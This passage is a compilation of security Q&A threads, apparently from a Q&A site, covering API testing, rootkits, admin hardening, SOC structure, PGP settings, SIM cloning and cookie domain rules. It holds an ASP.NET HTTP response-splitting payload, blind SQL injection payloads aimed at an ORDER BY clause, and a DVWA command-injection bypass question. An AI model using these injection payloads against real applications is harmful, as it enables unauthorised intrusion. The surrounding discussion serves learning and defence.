  Rendering links with user-supplied href attributes, or other HTML tags with injectable attributes (link tag, HMTL5 imports);
  Explicitly setting the dangerouslySetInnerHTML prop of an element;
  Passing user-supplied strings to eval().

The safest stance to take would be to Trust but Verify. By default, you must not trust ANY user input. As much as React will take care of most of the security for you client side, make sure you also implement security checks server side as well on ALL user inputs/functions.


API Security Testing Methodologies I have been encountering more and more clients needing their API (usually REST) endpoints tested for vulnerabilities and wanted to reach out to see if anyone has some recommendations beyond what I have been doing.

I am very familiar with the REST security cheat sheet from OWASP and have built a number of API's myself so I know to look for HTTP methods, CSRF, Sensitive data disclosure, input validation, SSL configs, etc. but am I missing anything? What techniques is everyone doing to go above and beyond to find an API vulnerability / exploit? Any recommended tools that do the job better than a good old intercepting proxy and curl?

My favorite RESTful client is httpie (from Python sources). Easily get it via easy_install httpie or pip install httpie. There are a few REST clients/debuggers as Firefox add-ons (search via addons.mozilla.org).

While at a certain company, I recall using a WebInspect feature called "custom parameters" against RESTful Web Services, such as the REST-WS demo in the Maven Security Web Security Dojo virtual machine or the OWASP GoatDroid Project's use of JAX-RS. If you also have access to the Fortify SecurityScope product, you can use use it to automatically create a WADL which in turn can be consumed by WebInspect RT. When testing large apps (e.g., greater than two million lines of code), this can be especially useful -- voice of experience here.

When you look at the SecToolMarket report, most of the tools that have under 9 input vectors cannot handle RESTful Web Services very well, and even the best ones (Burp Suite Professional, NTOSpider, IBM Appscan, etc) don't have a clear path to testing these interfaces/APIs. This is often why you'd want to use a tool like httpie (or curl) through them as an intercepting proxy, along with the appropriate API documentation (probably preferably in WADL format).


Access encrypted system/files with rootkit I have encrypted files that I need access to but I believe the BIOS/UFEI/hardware or recovery partition have a rootkit or keylogger now in order to get my encryption password for the encrypted system partition.

Can they install a rootkit/keylogger on a VeraCrypt encrypted system partition?
How do I access it without compromising it?
Is there a software that could detect and clean the rootkit/keylogger from the recovery partition and BIOS/UFEI/hardware before I access it?

Thanks

I have encrypted files that I need access to but I believe the BIOS/UFEI/hardware or recovery partition have a rootkit or keylogger now in order to get my encryption password for the encrypted system partition.

Boot from a Linux recovery disk and connect a large enough USB device.

Then, copy the still encrypted disk as a physical disk on the USB device.

Thus, you have not supplied any sensitive information to the untrusted system.

Finally, boot a trusted computer with a clean install of whaveter OS you need, with appropriate drivers for the encrypted disk, keeping it disconnected from the Internet (ensure it hasn't a working WiFi chip), and connect the cloned USB device. Decrypt and use.

You have now disclosed the sensitive information, but done so on a device that is trusted and not connected to the Internet.

If speed isn't an issue, a small Xiantec or Zotac or even Raspberry Pi unit might be able to suit your needs for under USD 49,99.

To prevent the possibility of the trusted device somehow saving the information and transmitting it somehow later on, you can dispose of the whole unit by melting or pulverizing disk, motherboard and any external cards that might have a programmable memory on them. More spectacular methods also exist.


What's the best practical way to protect our IT administrators? We're a medium-sized enterprise with many different IT administrators (e.g. domain admins, Azure admins, DB admins, ...). We're worried that hackers can easily breach an admin's laptop and through that steal data / do serious harm.

We thought about using VDI / jump server so that an admin would connect from his personal laptop to that remote machine and administer the network through that. However, it doesn't seem to really solve the problem as if an attacker owns the admin's personal laptop, he can simply control the remote machine.
We also read about Privileged Access Workstations (PAW). While the approach seems safer, it's too cumbersome for our users and requires discipline.

What's the best (practical) way to protect IT administrators?

I agree with and would like to expand on Odo's answer. I know for our organization the idea of a dedicated PAW was great, but the practicality of implementing one based on actual STIG guidelines wasn't there. Especially for SMBs, having a dedicated access VLAN with that machine with only specific admin accounts it's a little more than most can handle. We ended up implementing an environment akin to what odo suggested. We have multiple administrators who perform various tasks across multiple sites, and so the threat vector for someone to gain admin access to our DCs was significant. I think you'll find though if you really consider your roles, there are only a handful of admins who actually require full domain admin permissions on your DCs. We ended up creating (for lack of a better word) an elevation admin group that our everyday IT admins used on everyday workstations. These accounts have no administrative privileges on the servers, and have actually been denied logon privileges through GPOs. Due to restrictions in our environment we aren't able to use any mobile devices in our building, and don't have the budget for tokens, so MFA wasn't really an option. We ended up using Terminal Service GPOs (I think they're called RDS now though) to allow or deny remote access to accounts depending on their privilege level. For example the elevate admins aren't able to remotely log into any workstation, and domain admins aren't able to remotely login to any servers (should also mention any members of DA/EA are also denied from login on everyday workstations). This significantly helps prevent an attacker from stealing credentials that are used on a daily basis and wreaking havoc on your system. There's some pretty useful guidelines on this from a number of different sources, I (we) generally use STIG templates to create our baseline. Some important ones to note which touch on the stuff above are Deny Log on for highly privileged domain accounts (V-63877) and deny log on through RDS for highly privileged domain accounts (V-63879). Your administrators would need to elevate in a UAC prompt using their privileged accounts, but it ensures that if their laptop or workstation is broken into, the attacker would need multiple sets of credentials really accomplish anything.


What a information security help desk looks like ISO 27001 A.16 is talking about handling information security incidents and events and about the point of contact to which such events should be reported.

I'm wondering how in real life and real companies this is implemented.

I know how the handling of IT incidents looks like - there usually is IT ServiceDesk where the IT incidents are being reported.

But how this looks like when it's about information security?

Is there a parallel ServiceDesk/HelpDesk which is working only with information security or is the IT ServiceDesk also getting the events related to Information security (because information security is not only IT related)?

A few examples from the real world could help me to get the picture.

What you are asking about is generally referred to as a Security Operations Center (SOC pronounced as "sock").  In this place Tier 1 security analysts review security incidents as they come in to determine if they are false positives or if they should be escalated to Tier 2 analysts/engineers.  If not a false positive they will generally write up a summary of the incident and escalate to tier 2.  Tier 2 will investigate and determine if the event is a false positive and or if it needs to be escalated to Incident Response (see below) or tier 3 for further analysis.  The exact breakdown of work between the tiers differs by organization but usually there are 3 tiers.  Some of this can be provided on-prem and some of it farmed out to a Managed Security Service Provider (MSSP).

The size of the organization and the maturity of their security team determines how the SOC looks (if they have one at all).  In some smaller/less mature organizations Security tasks are handled by the IT help/service desk.  The SOC is the preferred model and should involve plenty of overlap with the Network and IT/Admin teams as proper configuration by these teams is the backbone of security.

Furthermore in mature organizations there should be a separate incident response (IR) team which has business context and Administrative insight/access to hunt down and remediate any issues escalated by the SOC.

Additionally, or as part of the IR, team there should be a digital forensics team to escalate investigations that appear to be of a serious nature.

Finally there is a Huge Wealth of information on the web about this topic so look around and do plenty of reading.  You kind of only get one chance to build a SOC so build it right.


Does IT policy apply to the Board of Directors? What policies do apply? What is your experience with applying IT policy to the Board of Directors?

Please mention the country and industry you have experience in, since the advice you're sharing may or may not be the same across all industries.

[Edit]

It isn't uncommon for a single Board Member to be involved in more than one board/company.  If this is the case, it's entirely possible that that individual may have conflicting IT policies in place if they were both applied to the same machine.  How does this ultimately impact the way they do business?

I work in healthcare and write the IT policies (among other things).  All of my policies are reviewed by the corporate compliance team and others before being finalized.  Once a policy is approved the first people I hold to the policy are the ones who asked for it or helped write it.

My thinking is that the people who helped create the policy should be the ones who have to deal with it first so that they know whether it works.  When I changed the password complexity requirements our CEO needed to get information off of his PC for a meeting.  Rather than accept a temporary exemption from the password policy change he insisted on being held to the same standard as everyone else.

If someone on our board is using a system connected to our network they can either use the guest wireless or they can abide by the policies.  All of the policies I write have an exception clause, but the exception must be in writing and reviewed.  All exceptions are sent to the compliance auditor within 30 days of the exception and annually the full list is sent.  Any exception expires no more than a year from the exception to force a review.

I'm okay with there being reason able exceptions, as long as it is documented and necessary.  When that happens I just require a compensating control to be demonstrated.


Should I be concerned if my school district has a major shell exposed? I'm a 7th grader. The school district I'm in likes to try to make it look like they are the most secure school in the world. I discovered a major flaw in their security system. This was a shell that wasn't running bash or any other command line language I knew. This was clearly an admin-only thing but I decided to investigate.

Using a simple run command from the help command I was able to view everybody's password. At the time it was just the same as their username. I knew what could be done if the district's computer system was compromised. The school district only thought to keep the shell locked from grades 8-12. This leaves an opening, if some person was to get a password from a younger grade, then they could do some damage.

In 2017, I found a different shell. This time it was the CMD in Windows 8. This time it was on shell. I went and typed in netsh. From there I could control all of the network components.

I've been thinking about writing a letter to an admin but I don't know what to say or use as any reason he should care. Should the admin, everyone else, and me be worried about this?

If this shell allows you to send reverse shell or anything else in that nature you should report this immediately to the sysadmin so he can take care of the issue. Everyone's data is at risk.

  Should the admin, everyone else, and me be worried about this?

Think about it. Would you let a rouge exploit roam around the network being unpatched? If this exploit allows you to see ALL THE PASSWORDS then you can login to the accounts and cause mischief on all the students.


How to tell if my OpenPGP public key is self-signed? I recently read:

  You should sign your PGP public key immediately after generating your public/private key-pair.

And now I wonder how I can check whether I already did that. So my question is: how can I tell if my own pgp public key is self-signed or not?

I'm using GnuPG/MacGPG2 v2.0.

OpenPGP Self Signatures

Self-signatures are applied on user IDs and subkeys, and make it obvious to anybody else that the ID or subkey really  have really been added by yourself. User IDs and subkeys not selfsigned could have been added by anybody and uploaded to the key servers.

Usually, self-signatures are created automatically by GnuPG, so you don't need to care about anything.

Checking for Self Signatures

Using the terminal, checking for self signatures is achieved very easily. Self-signatures are listed among the others, so all you need to do is filter for user IDs, subkeys and their respective next lines (which should contain the self signature).

gpg --list-sigs [key-id] |grep -EA1 '^(sub|uid)'

If you have a user ID or subkey which does not have a signature issued by your own key in the next line, you still might have to look through the whole output following this user ID/subkey -- so look through the whole gpg --list-sigs [key-id] output, find the subkey, and see if there's a self-signature line below.

In the example output for my own key, you can easily see that each uid or sub line is followed by a signature issued by the primary key itself, confirming all of them are self-signed.

$ gpg --list-sigs a4ff2279 |grep -EA1 '^(sub|uid)'
uid                            Jens Erat (born 1988-01-19 in Stuttgart, Germany)
sig 3        0x4E1F799AA4FF2279 2012-12-26  Jens Erat (born 1988-01-19 in Stuttgart, Germany)
--
uid                            Jens Erat <jens.erat@fsfe.org>
sig 3        0x4E1F799AA4FF2279 2012-12-26  Jens Erat (born 1988-01-19 in Stuttgart, Germany)
--
uid                            Jens Erat <jens.erat@uni-konstanz.de>
sig 3        0x4E1F799AA4FF2279 2012-12-26  Jens Erat (born 1988-01-19 in Stuttgart, Germany)
--
uid                            Jens Erat <jabber@jenserat.de>
sig 3        0x4E1F799AA4FF2279 2012-12-26  Jens Erat (born 1988-01-19 in Stuttgart, Germany)
--
uid                            Jens Erat <email@jenserat.de>
sig 3        0x4E1F799AA4FF2279 2012-12-26  Jens Erat (born 1988-01-19 in Stuttgart, Germany)
--
uid                            [jpeg image of size 12899]
sig 3        0x4E1F799AA4FF2279 2012-12-26  Jens Erat (born 1988-01-19 in Stuttgart, Germany)
--
sub   2048R/0x9FF7E53ACB4BD3EE 2013-01-23 [expires: 2023-01-21]
sig          0x4E1F799AA4FF2279 2013-01-23  Jens Erat (born 1988-01-19 in Stuttgart, Germany)
sub   2048R/0x5C88F5D83E2554DF 2013-01-23 [expires: 2023-01-21]
sig          0x4E1F799AA4FF2279 2013-01-23  Jens Erat (born 1988-01-19 in Stuttgart, Germany)
sub   4096R/0x8E78E44DFB1B55E9 2014-03-26 [expires: 2017-03-25]
sig          0x4E1F799AA4FF2279 2014-03-26  Jens Erat (born 1988-01-19 in Stuttgart, Germany)
sub   4096R/0xCC73B287A4388025 2014-03-26 [expires: 2017-03-25]
sig          0x4E1F799AA4FF2279 2014-03-26  Jens Erat (born 1988-01-19 in Stuttgart, Germany)
sub   4096R/0x382D23D4C9773A5C 2014-11-22 [expires: 2016-11-21]
sig     P    0x4E1F799AA4FF2279 2014-11-22  Jens Erat (born 1988-01-19 in Stuttgart, Germany)


Video site requests Adblocker to be shut off, next day I have 3 "weird" bookmarks I was on a site trying to view a video and the site requested that I turn off my adblocker to view the video.

So I did and then the next day I noticed that I had 3 "weird" bookmarks in my bookmark bar. They were just keyword bookmarks like: "play poker", "buy stuff", "pics", that type of thing, and upon mouse over, I noticed they all had link shorteners. I didn't click any of them, so I don't know where they led.

Funny enough, this was the only questionable site that I had visited on my laptop right after a fresh install of Linux, so I'm pretty certain that this specific site was the culprit.

What are these things and what can be done in a situation like this?
Browser is Chromium v43.

What you describe is a wrong, spam practice but it does not cause other inconvenience over the spam aspect.

Browsers allow JavaScript code initiated by a user click to add bookmarks in order to allow websites to propose friendly "Bookmark this site" buttons. However such functionality can be exploited in order to store unwanted bookmarks in visitors browser linking to remunerated links (pay per click abuse).


Is this token authorization scheme secure? I have Web application, name it A, from which user should be able to login to another one B (developed by other company) without typing any logins/passwords.

We have thought up following scheme:

We generate random secret ID for each user in database
Secret ID is regenerated after login into A
We save usernames for system B in our system for each user
When user is logged into A and wants to open B, system A sends username and secret ID to system B over HTTPS, B, before answering request, sends those back to A, which checks if secret ID is correct, regenerated it and sends back to B whether it was correct; B, if got positive response, logs user in and sends session ID to A

Does this scheme have any flaws?

It sounds like you could benefit from a separate authorization server that all of your applications can depend upon.
In the long run it will probably be easier to make authentication/authorization a cross-cutting concern instead of copying users from on application to another.

OpenId Connect could be appropriate; it builds on top of OAuth2.

These might not be the flaws you are looking for, but consider these separate situations:

3 new system C, D, and E are introduced into the organization and users need to login into all of them
A new requirements arises for System B to call an HTTP API, System F, as the current user
A user is removed from System A
System A is decomissioned, but system B has become critical to the business
A user opens B directly, without going through A
Regenerating all the secret keys might cause unnecessary load on network/systems
The consultant company developing System B has to learn your custom authentication method
New team members have to learn your home grown authentication protocol instead of an industry standard
Having gained access to System A, an attacker also gets access to System B.

What you have described does not sound like token based authentication IMO. In token based authentication the username and password are exchanged for a token, which would be presented to System A with each request.
At a high level this is how I understand token based authentication to work:

Unauthenticated user browses to System A
System A redirects the users' browser to System Z, the authentication provider
The user enters her credentials into System Z
System Z redirects the user's browser back to System A, with a token
All subsequent requests from the user's browser to System A include the token
System A trusts tokens issued by System Z

Note that the user does not enter her credentials into System A.

The above steps are over-simplified; they do not include token expiry or refresh tokens. I have described the most simple OAuth2 authorization flow (implicit flow); the more common is the "Authorization Code Flow".
The Implicit Flow is suited to JavaScript clients, while the Authorization Code flow is suited to server based applications.
There is a lot of good information online on OAuth2 and OpenID Connect.


Quantitative Security Analysis of Open Source Repos like CRAN and NPM Is anyone aware of any quantitative analysis or research on the security of CRAN or NPM?

e.g. How much malware is hosted, rate of compromise, speed to close, number of attack vectors, CERT reports etc etc.

I'm trying to get a sense of the level of risk of compromised libs and dependencies in any of the major open source repos.

While papers like this are useful (though dated)

http://dodcio.defense.gov/Portals/0/Documents/OSSFAQ/dodfoss_pdf.pdf

I'm interested specifically in repositories rather than FOSS in general.

Though this is not a research paper it may give you some insight into NPM:

A Malicious Module on NPM

Just because the package system is "Open Source" does not mean it isn't managed. Take the Apple App Store for example, the most widely used mobile device brand in the world and even they have issues managing the saftey of the downloads they provide.


Android ransomware difficulties My phone is a Samsung Galaxy S2. I have somehow gotten some ransomware that is displaying device information, including my name and recent contacts' data.

The ransomware starts basically right away, so I cannot open anything else. I can only access the drop down menu, but opening anything from there isn't happening either. There is a new ongoing application marked as . and I can turn Wi-Fi etc., but I cannot open settings. If I hold the power button, the device just turns off, but I cannot start in safe mode. I have connected it to my PC with USB, but Windows 10 software is not letting me access the device.

Update:

From the drop down menu if I hold the home button, it opens menu showing which apps are allowing me to access some options. When I do this, I have settings as the only list right now, but when selected, the ransomware still displays over me.

I have Avast Mobile installed, but it doesn't help.

It looks like it might be the Koler ransomware UK version. However, it starts instantly and blocks everything. I did not give it permission to install, so I am not sure what's going on here, my device should be blocking everything but Google Play.

I just realised I can open the device options through long hold from the pin input menu. Listed is the power off, data network mode, flight mode and restart. I now realise I am supposed to press and hold the power off button, but this does not work either. I should be on Android 4.1 or 4.2 and it states that safe mode was introduced in 4.1. Please advise.

P.S.: I won't pay the ransom!

On my device holding the volume up and down buttons during boot launches safe mode, I have just now successfully launched safe mode and prevented the start of the ransomware. I will take a short break before proceeding to remove the application.

In addition to removing the application, what should I do ensure my security and prevent this situation in future? Help is appreciated.

There is some Android ransomware that is fairly easy to get rid of using Android Debug Bridge. These are older lock screen trojans. Here's a page that has a good breakdown of the types and how to get rid of them.

Some newer Android ransomware is very effective, but if you get one of these, you really have only 2 options - wipe the device or pay the ransom. If you have your pictures, contacts and other important data saved, then wipe your phone completely and restore to factory defaults, then re-install your apps and data. If not, then pay the ransom and get your device back, then back up your important data in the future. Be sure to wipe your device and restore to factory defaults in any case as the malware, or the application that allowed it to be installed, is is still persistent.


How can documents held in cloud storage be safeguarded against malware? The place where I work stores company documents in the cloud. I just want to know whether malware can still access and conduct their malicious activity against these cloud-based documents ?

Staff access these document either via a browser-base word processor or via the cloud storage client app - so my guess is that the malware on the staff PC could access these cloud based documents and wreak havoc just as easily as if these documents were held on the local PC storage.

Are there any safeguards that can be put in place ?

Yes, they can access these documents, and some malware even searches them out.

The protections are the same as if you were not using remote storage: backups, journaling file systems, version control.

Your specific cloud provider might have additional tools, but that will be up to the individual vendors.


Anomaly on new laptop. Does it suggest tampering? My laptop has a plastic chassis whose panels click into place (no screws on the outside). When I bought it (new), there was a gap on one side along the seam joining the top and bottom halves of the chassis (1 inch by 3-4mm gap). That is to say that one of the "hooks" was not clicked into place. Also, the panels didn't quite line up by the USB port whose bottom edge merges with the seam on the same side (so it might have been used for prying it open?).

Is this an indication that it might have been tampered with somewhere along the line? The box was sealed and looked fine.

There's simply no way to know. What you are describing could be evidence of a botched tampering job or a simple flaw that occurred during assembly. There's no way that anyone would be able to determine whether or not it was tampered with given the information you've provided. Most likely it's fine.

Is there any particular reason you would suspect tampering? Did you buy the laptop from a reputable company? Was it purchased online and delivered (which makes interdiction possible) or did you pick it out in the store (in which case targeted modifications are infeasible or impossible). If you do not have a solid reason to suspect that you are being targeted, then the likelihood is that this is benign.


How to enable ECDHE in openjdk-1.8.0 in CentOS 6.7? I have seen many posts that hinted ECDHE is available in the SunEC provider
way back in openjdk-1.6.0.
My environment: CentOS 6.7 with openjdk 1.8.0.71-1.b15.el6_7. No ECDHE.

Made 2 changes in jre/lib/security/java.security:
- Add back security.provider.3=sun.security.ec.SunEC and bump the rest
  providers down to 4,5,6,etc.
- jdk.tls.disabledAlgorithms=SSLv3, RC4, MD5withRSA, DH keySize < 768
  i.e. removed EC, ECDHE, ECDH from the disabled list.

Did not change anything.
How can I get ECDHE working in openjdk?
By the way: heard about Bouncy Castle but hopefull don't have to go that
way if openjdk supports ECDHE.

I just wanted to append my thoughts to this since I've been recently going through the same thing.

All my attempts of trying to get ECDHE with SunEC have been pretty unsuccessful, so I'd strongly recommend just using Bouncy Castle. You just add the provider jar to your JRE/JDK ext folders and modify your security providers in your java security file and boom, you're ready to go.


Which PGP settings have been found to be vulnerable? Digging through articles, one often finds recommendations such as "Use the default key type/size X", whereas an article written a few years later will write "Key type/size X has been found to be vulnerable; instead use the other key type Y".

Or one often comes across "make sure to change to stronger hash preferences" [example]. Other similar examples: PGP v3 keys vulnerable, Key IDs have serious problems.

Given the current state of information security and encryption what preferences or settings have been shown to be vulnerable, and should be avoided or replaced with stronger options?

PGP Format Versions and Key IDs

Older versions of the PGP Key Format have several issues that potentially harm security. RFC 4880 further explains these, summarized very briefly:

higher chances for key ID collisions
fingerprint only hashes key, not size and algorithm (again, higher chance for ID collisions)
use of MD5, which is considered broken

Anyway, usage of short key IDs is considered bad practice, as chance of duplicate keys is rather high. Use long key IDs or the full fingerprint instead.

Asymmetric Encryption Algorithms

There are mainly three choices for choosing algorithms: DSA/Elgamal, RSA and elliptic curves (ECDSA).

DSA is very dependent from good random numbers during key generation and usage of the key. As there have been several issues with random number generators, it isn recommended as default algorithm any more ([1], [2], more on Wikipedia), although smaller keys are sufficient (compared with RSA).
RSA needs larger key sizes, but is considered secure for adequately large keys. 768 bit keys have been broken, 1024 bit keys might be. Keys starting from 2048 bits are considered safe and currently are default, keys of 4096 bits currently recommended by Debian and others.
Ellipctic Curves aren't broadly supported yet (GnuPG 2.1 will bring them, Google's End to End already uses them), and the security of the NIST-selected curves is still in doubt (without any proof). Generally, elliptic curves are considered safe.

I posted more on choosing keys in a Super User post.

Further Settings for Hashing and Symmetric Encryption

OpenPGP's and GnuPG's defaults do not meet highest possible security for compatibility reasons. You can change the preferred algorithms (you'd like others to use when encrypting to you) using a special signature. In GnuPG, you can create this using gpg --edit-key and updating the preferences using

setpref SHA512 SHA384 SHA256 SHA224 AES256 AES192 AES CAST5 ZLIB BZIP2 ZIP Uncompressed

To change the preferences for signing and encrypting to others, add these lines to ~/.gnupg/gpg.conf:

personal-digest-preferences SHA256
cert-digest-algo SHA256
default-preference-list SHA512 SHA384 SHA256 SHA224 AES256 AES192 AES CAST5 ZLIB BZIP2 ZIP Uncompressed

These list has been put together by Ana Beatriz Guerrero López and order hashing algorithms, symmetric encryption algorithms and finally compression algorithms ordered by higher entropy/security.

Not an issues with keys, but somewhat related with those settings are two rather theoretical issues. Mister, Zuccherato proposed a decryption oracle attack on OpenPGP's cipher feedback mode, which can be mitigated by always compressing data that will be encrypted; and Jallad, Katz, Schneier proposed a chosen-ciphertext attack which can be prevented by using the newly introduced (in RFC 4880) Integrity Protected Data Packet (which is a choice made by the implementation).


Does the telecom provider need physical access to the SIM card to clone it? In many dictatorships SIM card cloning is used by the police (working together with the telco) to spy on dissidents, journalists etc.           Some people say that you need the authentication key on the SIM card to clone it so that physical access to the card is a pre-requisite for cloning.                                  However, if we assume that the telco works for the political police can they design the SIM card in such a way that they can work without an authentication key on them?  This would make the process of SIM card cloning much easier and therefore dangerous for civil society.

No, telecom providers do not need physical access to the SIM.

They can change the allocated number or any SIM unique ID, therefore they can:

assign the number to any new SIM and unassign it from the old one (this is actually a standard procedure for anyone losing their phone/sim)
clone the number to any SIM

References- cellphone operator sites:

https://www.att.com/esupport/article.html#!/wireless/KM1081808
https://support.t-mobile.com/thread/140087
https://www.verizonwireless.com/support/4g-sim-card-faqs/
https://forums.att.com/t5/Wireless-Account/Replace-a-lost-SIM-via-mail/td-p/4879263

Third-party articles with more detailed explanation:

https://www.reddit.com/r/verizon/comments/7797iw/how_can_i_replace_a_lost_sim_card/
https://www.techwalla.com/articles/how-to-activate-a-new-att-sim-with-the-same-phone-number
https://www.phonenomena.com.au/blog/2015/01/29/how-to-transfer-your-mobile-number-to-a-new-sim-card/


ASP.NET HTTP Response Splitting Attack By default ASP.NET checks for HTTP Response Splitting attack when you do Response.Redirect:

Response.Redirect("/MySite/Default.aspx?lang=foobar%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2019%0d%0a%0d%0aShazam");

Result - error page:

A potentially dangerous Request.QueryString value was detected from the client (lang="...th: 19

Shazam").

Description: Request Validation has detected a potentially dangerous client input value, and processing of the request has been aborted. This value may indicate an attempt to compromise the security of your application, such as a cross-site scripting attack. You can disable request validation by setting validateRequest=false in the Page directive or in the configuration section. However, it is strongly recommended that your application explicitly check all inputs in this case.

Is there any other way to perform HTTP Response Splitting attack on default ASP.NET website configuration? What about ASP.NET MVC?

This is going to be an annoyingly trivial answer, BUT...

The only way to perform a Response Splitting attack on an updated ASP.NET (or MVC) server, is if the application itself is writing back raw HTTP responses.
Yes, of course no programmer in their right mind would do that... but in the case of the 60% of programmers that are not in their right mind, it is possible likely that such an implementation would be vulnerable.

Otherwise, no, the application is not vulnerable to HRS.


Password managers and SSD wear and tear I've been looking at this topic for a long time, and am still paranoid about this.

I have an 1 TB SSD with Ubuntu 16.04 on it. From what I have read, using disk encryption is bad for an SSD due to wear and tear etc.

What about encryption of any kind especially password managers?

I am currently using Enpass but that is encryption and it is stored locally on my hard drive.

Is this bad, should I get rid of the password manager? Or am I OK?

TL;DR:

Full-disk encryption: do not blindly trust what is repeated on the Internet. While there is some technical truth behind these claims they may be incomplete or not match current technologies. Using FDE on SSD disks should be fine.
Password managers: there is no technical reason why a password manager would particularly increase SSD wear and tear, so you are guaranteed to be fine here.

The concern with full disk encryption (FDE) does not come from the fact that the data is encrypted.

With unencrypted file systems, the file system layer will inform the underlying SSD firmware when a block becomes free (using the TRIM ATA command). This will make the SSD firmware free to reset and reuse the corresponding storage cells as will, notably to do dynamic wear leveling, ie. spreading write operation onto free cells to gain some lifetime for the SSD.

Secure FDE file systems will not inform anymore the SSD firmware about free blocks. The result is that from the SSD firmware point-of-view the disk will soon appear as filled-up (as it will do from an attacker point-of-view: the disk content will appears as a huge BLOB of seemingly random data).

Due to the low amount of free storage cells (SSD always come with some spare cells so they are never really completely filled-up, unless when they reach their end-of-life), dynamic wear leveling will not be efficient anymore: write operation of frequently modified files would affect always the same storage cells, decreasing their lifespan and therefore shortening the SSD lifespan.

This is what is covered when one talks about the impact of FDE on SSD wear and leveling, and leads to recommendation such as allowing TRIM even when using FDE even if this lower FDE security.

However, decent SSD (if not all?) also provide static wear leveling, which allows to regularly exchange the storage cells occupied by frequently modified data with the occupied by rarely modified data, thus allowing effective wear leveling even on full and/or fully encrypted SSDs.

Therefore, thanks to this static wear leveling, most chances are that using secure FDE does not have any significant impact on SSD lifespan.

And as per your password manager file, this is a non-issue: a password manager file is a standard file, as would be a word document or anything else. It is handled way above the file system layer, far-away from these TRIM-related considerations, and has strictly no specific impact on the SSD wear and tear, so you are perfectly OK.


Blind SQL injection in sort direction I have an SQL injection in a query where I control the sort direction parameter i.e: SELECT * from x where y=y ORDER BY COLUMN_NAME [SORT_DIRECTION]
When I control the SORT_DIRECTION, which is normally ASC or DESC,  how do I turn this into a blind SQL injection?

Found a partial solution:
,if(1=(select 1 regexp if(1=1,1,0x00)),1,1) = TRUE
,if(1=(select 1 regexp if(1=2,1,0x00)),1,1) = FALSE [error]

Works with version() but not with subqueries using SELECT.


Why so long to break 128-bit encryption? I read that 128-bit encryption takes millions of years to break.  But if I encrypt a file using say winzip that uses 128-bit encryption but the password I use is only one character long (for example the character "A") why would it take you millions of years to break in and decrypt my file?  Or does 128-bit encryption mean if my password is 128 bits long, then it would take you millions of years to break?

When encrypted data using a password, things go that way:

The password is converted into a secret key using a Key Derivation Function.
The key is used to encrypt the data with a symmetric encryption algorithm ("symmetric" means that the same key will be used for decryption).

"128-bit encryption" means that the secret key is a sequence of 128 bits. It tells nothing about the password length or contents.

To break such a file, two possible paths: try all possible passwords until the right one is found, or try all possible secret keys until the right one is found. "Right one is found" means that "decryption works and produces something meaningful / expected.

There are 2128 = 340282366920938463463374607431768211456 possible keys of 128 bits; that's a lot and trying all of them will take millions of years. On the other hand, there are much fewer potential passwords because passwords are chosen by humans with human brains, and human brains are not good at making random choices; also, humans are lazy and will prefer short passwords (easier to remember, easier to type in). Trying all "potential" passwords, i.e. passwords which humans are likely to select, is called a dictionary attack. Any decent password cracking software will first try all possible very short passwords (i.e. 6 letters or less), then try "meaningful words" and derivative. A one-letter password would be cracked within a fraction of a second.


Is the "same registrable domain" a sound security basis for cookies? Unlike other Web standards, HTTP cookies don't use the common definition of the "origin" as with the "same origin policy"; cookies are segregated by domain names and subdomains. (And there is the secure flag to only return the cookie inside an HTTPS connection, which is yet another subtle matter.)

To determine whether sharing of cookies is allowable, browsers rely on the concept of "same registrable domain".

That's a fundamental isolation guarantee for cookies:

If DX and DY are two different registrable domains, and X and Y two host names inside DX and DY respectively, then

the Web pages in X cannot mess with the cookies created by Web pages of Y: they can't read them, modify them;
and they X pages can't create cookies that would be sent by browser to Y pages.

That requires a common definition of what a "registrable domain" is; otherwise, what is allowed by some agents and considered safe would be disallowed by others, and no one would consider his own product buggy.

The definition is based on where users can acquire (get some sort of immaterial property) of domain names.

Is that a sound foundation for a fundamental security isolation property?

Is there one definition of what constitutes a "registrable domain" universally accepted?
Is it precise and decidable in all cases?
Do all browsers agree on what counts as a "registrable domain"?

All browsers use the "Public Suffix List", at https://publicsuffix.org/

Besides TLDs, it lists all suffixes "under" which people can have their own domain (for free or not).

This is also called the "eTLD+1" policy, eTLD being "effective TLD", so not necessarily a real "Top" Level Domain, but any suffix that works effectively as a TLD, hence allowing registrations under it.

  Is there one definition of what constitutes a "registrable domain" universally accepted?

Maybe not, but at least for now everything has converged on Mozilla curated Public Suffix List aka PSL.

Note that there was (and still is) various attempts to do the same thing, typically by storing in the DNS itself data about "relationships" between domains.

Latest attempt was DBOUND: https://datatracker.ietf.org/wg/dbound/about/

Its charter had:

  Various Internet protocols and applications require some mechanism for
  determining whether two domain names are related. The meaning of
  "related" in this context is not a unitary concept. The DBOUND working
  group will develop one or more solutions to this family of problems,
  and will clarify the types of relations relevant.

  [..]

  The current way most of this is handled is via a list published at
  publicsuffix.org (commonly known as the "Public Suffix List" or
  "PSL"), and the general goal is to accommodate anything people are
  using that for today. However, there are broadly speaking two use
  patterns. The first is a "top ancestor organization" case. In this
  case, the goal is to find a single superordinate name in the DNS tree
  that can properly make assertions about the policies and procedures of
  subordinate names. The second is to determine, given two different
  names, whether they are governed by the same administrative authority.
  The goal of the DBOUND working group is to develop a unified solution,
  if possible, for determining organizational domain boundaries.

The working group was closed in April 2017, by failure of finding a real working solution (people agreed there is a problem, but the work seemed too big and hence no offered solutions were convincing people enough to make it a working group document and advance it as a standard).

There are still some work by individuals, like:

https://datatracker.ietf.org/doc/draft-brotman-rdbd/ "Related Domains By DNS"
https://datatracker.ietf.org/doc/draft-levine-dbound-dns/ "Publishing Organization Boundaries in the DNS"

  Is it precise and decidable in all cases?

Yes, if you use the PSL.
It is not perfect, because the PSL is humanly curated. So some entries are missing on it, and some entries in it do not even resolve anymore so should be cleaned. However the problem is on authorization: which party should be authorized to change which content on this list?

  Do all browsers agree on what counts as a "registrable domain"?

Browsers use the PSL, yes.
You can find on https://publicsuffix.org/learn/ a (non-exhaustive) list of software using it, like libraries.

Note how it is used also:

by the DMARC specification (for email filtering)
by the CAB Forum requirements, to require CA to issue certificates only if they validate properly per the PSL
in HTML5
by Let's Encrypt to apply rate-limiting


DVWA Command Execution High Has someone done this level? I get that i'm supposed to bypass the trim function, but i don't see how could this be done if every relevant character has been blacklisted except for the redirection (>). There's a similar question posted here but the answers didn't help, they where just hints.

This is what the help states:

The developer has either made a slight typo with the filters and believes a certain PHP command will save them from this mistake.

Spoiler: trim()          removes all leading & trailing spaces, right?.

Thanks

